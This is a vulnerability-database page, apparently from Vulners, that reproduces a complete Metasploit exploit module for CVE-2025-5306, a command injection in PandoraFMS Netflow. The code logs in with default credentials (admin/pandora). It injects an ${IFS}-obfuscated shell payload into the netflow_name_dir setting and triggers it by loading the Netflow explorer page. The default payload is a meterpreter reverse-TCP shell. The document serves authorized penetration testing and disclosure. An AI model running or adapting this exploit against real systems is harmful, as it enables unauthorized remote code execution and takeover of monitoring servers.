Lucene search
K

📄 PandoraFMS Netflow Authenticated Remote Code Execution

🗓️ 17 Jul 2025 00:00:00Reported by msutovsky-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 101 Views

Exploits PandoraFMS Netflow command injection to run code; requires credentials and Netflow binaries.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-5306
27 Jun 202510:47
circl
CNNVD
Pandora FMS 安全漏洞
27 Jun 202500:00
cnnvd
CVE
CVE-2025-5306
27 Jun 202507:48
cve
Cvelist
CVE-2025-5306 Command Injection in Netflow path
27 Jun 202507:48
cvelist
EUVD
EUVD-2025-19256
27 Jun 202507:48
euvd
Metasploit
PandoraFMS Netflow Authenticated Remote Code Execution
17 Jul 202518:55
metasploit
NVD
CVE-2025-5306
27 Jun 202508:15
nvd
OSV
CVE-2025-5306
27 Jun 202508:15
osv
Packet Storm
📄 PandoraFMS Netflow 7.0.777.10 Command Injection
13 Feb 202600:00
packetstorm
Positive Technologies
PT-2025-27064 · Unknown · Pandora Fms
27 Jun 202500:00
ptsecurity
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
            'Description' => %q{
              This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
            },
            'License' => MSF_LICENSE,
            'Author' => ['msutovsky-r7'], # researcher, module dev
            'References' => [
              [ 'CVE', '2025-5306']
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ ARCH_CMD ],
            'Privileged' => false,
            'Targets' => [
    
              [
                'Linux/Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => [ ARCH_CMD]
                }
              ]
            ],
            'DisclosureDate' => '2025-12-30',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 80,
              'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
              'FETCH_WRITABLE_DIR' => '/tmp'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
            OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
            OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'login' => '1' },
          'keep_cookies' => true
        })
        return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200
    
        html = res.get_html_document
    
        return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html
    
        version = html.at('div[@id="ver_num"]')&.text
    
        @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
    
        return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?
    
        version = version[1..]&.sub('NG', '')
    
        vprint_warning('Token was not parsed, will try again') unless @csrf_token
    
        vprint_status("Version #{version} detected")
    
        return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))
    
        Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
      end
    
      def get_csrf_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'login' => '1' },
          'keep_cookies' => true
        })
        fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200
    
        html = res.get_html_document
    
        fail_with Failure::UnexpectedReply, 'Empty response received' unless html
    
        @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
    
        fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
      end
    
      ##
      # Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
      ##
      def login_successful?(res)
        res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
      end
    
      def login
        res = send_request_cgi!({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true,
          'vars_get' => { 'login' => '1' },
          'vars_post' =>
          {
            'nick' => datastore['USERNAME'],
            'pass' => datastore['PASSWORD'],
            'login_button' => "Let's go",
            'csrf_code' => @csrf_token
          }
        })
        fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
      end
    
      def valid_netflow_options?(opts)
        opts.each do |item|
          return false if item.blank?
        end
      end
    
      def configure_netflow
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
        })
    
        fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200
    
        html = res.get_html_document
    
        fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html
    
        netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
        netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
        html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
        netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
        netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
        netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
        netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)
    
        request_data = {
          'netflow_daemon' => netflow_daemon_value,
          'netflow_nfdump' => netflow_nfdump_value,
          'netflow_max_resolution' => netflow_max_resolution_value,
          'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
          'netflow_max_lifetime' => netflow_max_lifetime_value,
          'netflow_interval' => netflow_interval_value
        }
    
        fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)
    
        request_data.merge!({
          'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
          'update_config' => '1',
          'upd_button' => 'Update'
        })
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
          'vars_post' => request_data
        })
        fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
      end
    
      def trigger_payload
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
        })
      end
    
      def exploit
        # do we have csrf token already
        get_csrf_token unless @csrf_token
    
        login
    
        configure_netflow
    
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jul 2025 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 47
EPSS0.19944
SSVC
101